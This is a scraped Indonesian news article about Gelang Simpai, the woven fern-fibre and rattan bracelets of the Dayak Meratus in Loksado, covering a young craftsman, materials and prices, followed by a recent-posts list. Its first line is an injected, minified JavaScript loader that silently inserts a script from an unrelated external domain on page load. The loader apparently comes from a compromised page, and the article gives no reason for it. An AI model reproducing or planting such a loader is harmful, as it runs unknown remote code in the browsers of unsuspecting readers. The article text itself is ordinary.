(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Uniknya Gelang Simpai Khas Dayak Meratus, dari Hiasan Mandau jadi Buah Tangan Wisatawan


KANALKALIMANTAN.COM, BANJARMASIN – Gelang Simpai adalah anyaman khas suku Dayak di Pegunungan Meratus yang terbuat dari tumbuhan serat pakis atau Alang Am yang hanya ditemukan di lereng pegunungan.

Gelang Simpai ini konon hanya orang-orang tertentu saja yang bisa membuatnya dan bukan sembarang orang bisa membuat gelang Simpai tersebut.

Gelang Simpai ini banyak dibuat oleh orang-orang suku pedalaman Meratus salah satunya di Loksado Kabupaten HSS, salah satu pemuda yang mahir membuat gelang simpai Ibnu Ibrahim dari Loksado, Hulu Sungai Utara, Kalimantan Selatan.

Ditemui Kanalkalimantan.com, di Festival Budaya Pasar Terapung pada Minggu(14/8/2022), dirinya bersama satu temanya memperjualbelikan gelang simpai khas pegunungan Meratus ini.

 

Baca juga  : Semarakkan HUT RI ke-77, CFD Balangan Hadirkan Berbagai Lomba dan Karnaval Anak TK

Ibnu mengatakan bahwa dalam pembuatan gelang Simpai ini menggunakan bahan yang terdapat lereng pegunungan Meratus dan dapat menjadikan berbagai macam jenis anyaman seperti gelang, cincin, dan gantungan kunci

“Kami ada dua bahan, ada Lang Am (serat pakis) dan Paikat (rotan), dibuat menjadi gelang, cincin atau biasanya bisa dibuat gantungan kunci juga,” katanya.

Untuk harga kerajinan simpainya sendiri Ibnu mengatakan bervariasi tergantung motif dan ukuran

“Untuk harganya sendiri bervariasi, tergantung motif ada dari Rp 30 ribu hingga Rp 80 ribu, kalau cincin Rp 10 ribu saja” katanya.

 

Baca juga  : IRT Di Simpang Empat Tanah Bumbu, Korban Investasi Bodong Jual Beli Ikan dan BBM

Untuk melakukan penjualan Ibnu sendiri biasanya menunggu panggilan dari dinas jika ada event-event tertentu, dan dirinya juga memasarkan produknya melalui media sosial Instagram yaitu @simpaitanuhi.

Uniknya proses pembuatan gelang Simpai ini dianyam secara langsung di tangan pembeli agar ukurannya bisa pas dengan tangan, terkecuali cincin dianyaman secara terpisah.

Seperti diketahui dulunya Simpai sendiri digunakan sebagai hiasan parang Mandau milik suku dayak pedalaman, namun seiring dengan berkembangnya zaman, Simpai dijadikan aksesoris seperti gelang, cincin, gantungan kunci, dan lain sebagainya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

5 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

7 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

8 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

12 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

13 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

13 jam ago

This website uses cookies.